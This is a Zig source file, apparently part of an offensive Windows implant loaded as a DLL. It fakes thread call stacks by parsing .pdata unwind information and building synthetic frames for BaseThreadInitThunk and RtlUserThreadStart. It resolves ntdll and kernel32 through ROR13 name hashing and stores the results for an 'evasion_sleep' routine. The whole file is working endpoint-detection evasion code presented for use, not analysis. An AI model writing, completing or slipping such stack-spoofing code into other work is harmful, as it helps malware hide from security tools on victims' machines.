// Synthetic callstack frames through kernel32!BaseThreadInitThunk and
// ntdll!RtlUserThreadStart. Parses .pdata unwind codes to compute per-function
// frame sizes, asm trampoline pushes frames with correct offsets.
const std = @import("std");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
const pe = @import("pe.zig");

extern var qFakeRtlUserThreadStart: usize;
extern var qFakeBaseThreadInitThunk: usize;
extern var qRtlUserFrameSize: usize;
extern var qBaseThreadFrameSize: usize;

// x64 unwind opcodes from the PE/COFF spec.
const UWOP_PUSH_NONVOL: u8 = 0;
const UWOP_ALLOC_LARGE: u8 = 1;
const UWOP_ALLOC_SMALL: u8 = 2;
const UWOP_SET_FPREG: u8 = 3;
const UWOP_SAVE_NONVOL: u8 = 4;
const UWOP_SAVE_NONVOL_FAR: u8 = 5;
const UNW_FLAG_CHAININFO: u8 = 0x04;
const RBP_OP_INFO: u8 = 5;

// Compute total frame size from .pdata UNWIND_INFO.
fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool {
    const info = @as(*align(1) const extern struct {
        VersionAndFlags: u8,
        SizeOfProlog: u8,
        CountOfCodes: u8,
        FrameRegister: u8,
        FrameOffset: u8,
        UnwindCode: [1]u16,
    }, @ptrCast(mod_base + unwind_rva));

    var idx: usize = 0;
    var sz: usize = 0;
    var rbp_pushed: bool = false;

    while (idx < info.CountOfCodes) : (idx += 1) {
        const code = info.UnwindCode[idx];
        const op: u8 = @truncate(code & 0xF);
        const info_field: u8 = @truncate((code >> 4) & 0xF);

        switch (op) {
            UWOP_PUSH_NONVOL => {
                if (info_field == 2 and !rbp_pushed) return false;
                if (info_field == RBP_OP_INFO) rbp_pushed = true;
                sz += 8;
            },
            UWOP_ALLOC_SMALL => sz += 8 * (@as(usize, info_field) + 1),
            UWOP_ALLOC_LARGE => {
                idx += 1;
                var frame_offset: usize = info.UnwindCode[idx];
                if (info_field == 0) {
                    frame_offset *= 8;
                } else {
                    idx += 1;
                    frame_offset += @as(usize, info.UnwindCode[idx]) << 16;
                }
                sz += frame_offset;
            },
            UWOP_SET_FPREG => {
                rbp_pushed = true;
                const fp_off: isize = -0x10 * @as(isize, @intCast(info.FrameOffset));
                sz = @as(usize, @intCast(@as(isize, @intCast(sz)) + fp_off));
            },
            UWOP_SAVE_NONVOL => {
                if (info_field == RBP_OP_INFO or info_field == 2) return false;
                idx += 1;
            },
            UWOP_SAVE_NONVOL_FAR => {
                if (info_field == RBP_OP_INFO or info_field == 2) return false;
                idx += 2;
            },
            else => {},
        }
    }

    if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) {
        idx = info.CountOfCodes;
        if ((idx & 1) != 0) idx += 1;
        const chain_rva = @as(*align(1) const u32, @ptrCast(&info.UnwindCode[idx])).*;
        var chain_sz: usize = 0;
        _ = calc_frame_size(mod_base, chain_rva, &chain_sz);
        sz += chain_sz;
    }

    out_size.* = sz + 8;
    return true;
}

// Binary search .pdata exception directory for the RUNTIME_FUNCTION covering target_rva.
fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
    const exc_begin = syscall.g_exc_begin;
    const exc_count = syscall.g_exc_count;
    if (exc_begin == 0 or exc_count == 0) return null;

    const funcs: [*]align(1) const syscall.RUNTIME_FUNCTION = @ptrFromInt(exc_begin);
    var lo: usize = 0;
    var hi: usize = exc_count;
    while (lo < hi) {
        const mid = lo + (hi - lo) / 2;
        const entry = funcs[mid];
        if (target_rva < entry.BeginAddress) {
            hi = mid;
        } else if (target_rva >= entry.EndAddress) {
            lo = mid + 1;
        } else {
            return .{ .begin = entry.BeginAddress, .unwind = entry.UnwindInfoAddress };
        }
    }
    return null;
}

// Find the RVA of a named export in a module.
fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
    const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(mod));
    if (dos.e_magic != 0x5A4D) return null;

    const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
        mod + @as(usize, @intCast(dos.e_lfanew)),
    ));
    if (nt_hdrs.Signature != 0x00004550) return null;

    const exp_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
    if (exp_dir.VirtualAddress == 0) return null;

    const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
        mod + @as(usize, @intCast(exp_dir.VirtualAddress)),
    ));

    const names: [*]align(1) const u32 = @ptrCast(@alignCast(
        @as([*]const u8, @ptrCast(mod)) + exp.AddressOfNames,
    ));
    const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
        @as([*]const u8, @ptrCast(mod)) + exp.AddressOfFunctions,
    ));
    const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
        @as([*]const u8, @ptrCast(mod)) + exp.AddressOfNameOrdinals,
    ));

    for (0..exp.NumberOfNames) |i| {
        const n: [*:0]const u8 = @ptrCast(@alignCast(
            @as([*]const u8, @ptrCast(mod)) + names[i],
        ));
        if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) {
            if (ords[i] < exp.NumberOfFunctions) {
                return funcs[ords[i]];
            }
        }
    }
    return null;
}

// Called once at DLL init. Results stored in asm globals used by evasion_sleep.
pub fn init_frames() void {
    if (qFakeRtlUserThreadStart != 0) return;

    const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
    const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return;
    const ntdll_bytes: [*]const u8 = @ptrCast(ntdll);
    const k32_bytes: [*]const u8 = @ptrCast(k32);

    const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return;
    if (find_runtime_entry(btit_rva)) |entry| {
        var fs: usize = 0;
        if (calc_frame_size(k32_bytes, entry.unwind, &fs)) {
            qFakeBaseThreadInitThunk = @intFromPtr(k32) + entry.begin;
            qBaseThreadFrameSize = fs;
        }
    }

    const rust_rva = export_rva(ntdll_bytes, "RtlUserThreadStart") orelse return;
    if (find_runtime_entry(rust_rva)) |entry| {
        var fs: usize = 0;
        if (calc_frame_size(ntdll_bytes, entry.unwind, &fs)) {
            qFakeRtlUserThreadStart = @intFromPtr(ntdll) + entry.begin;
            qRtlUserFrameSize = fs;
        }
    }
}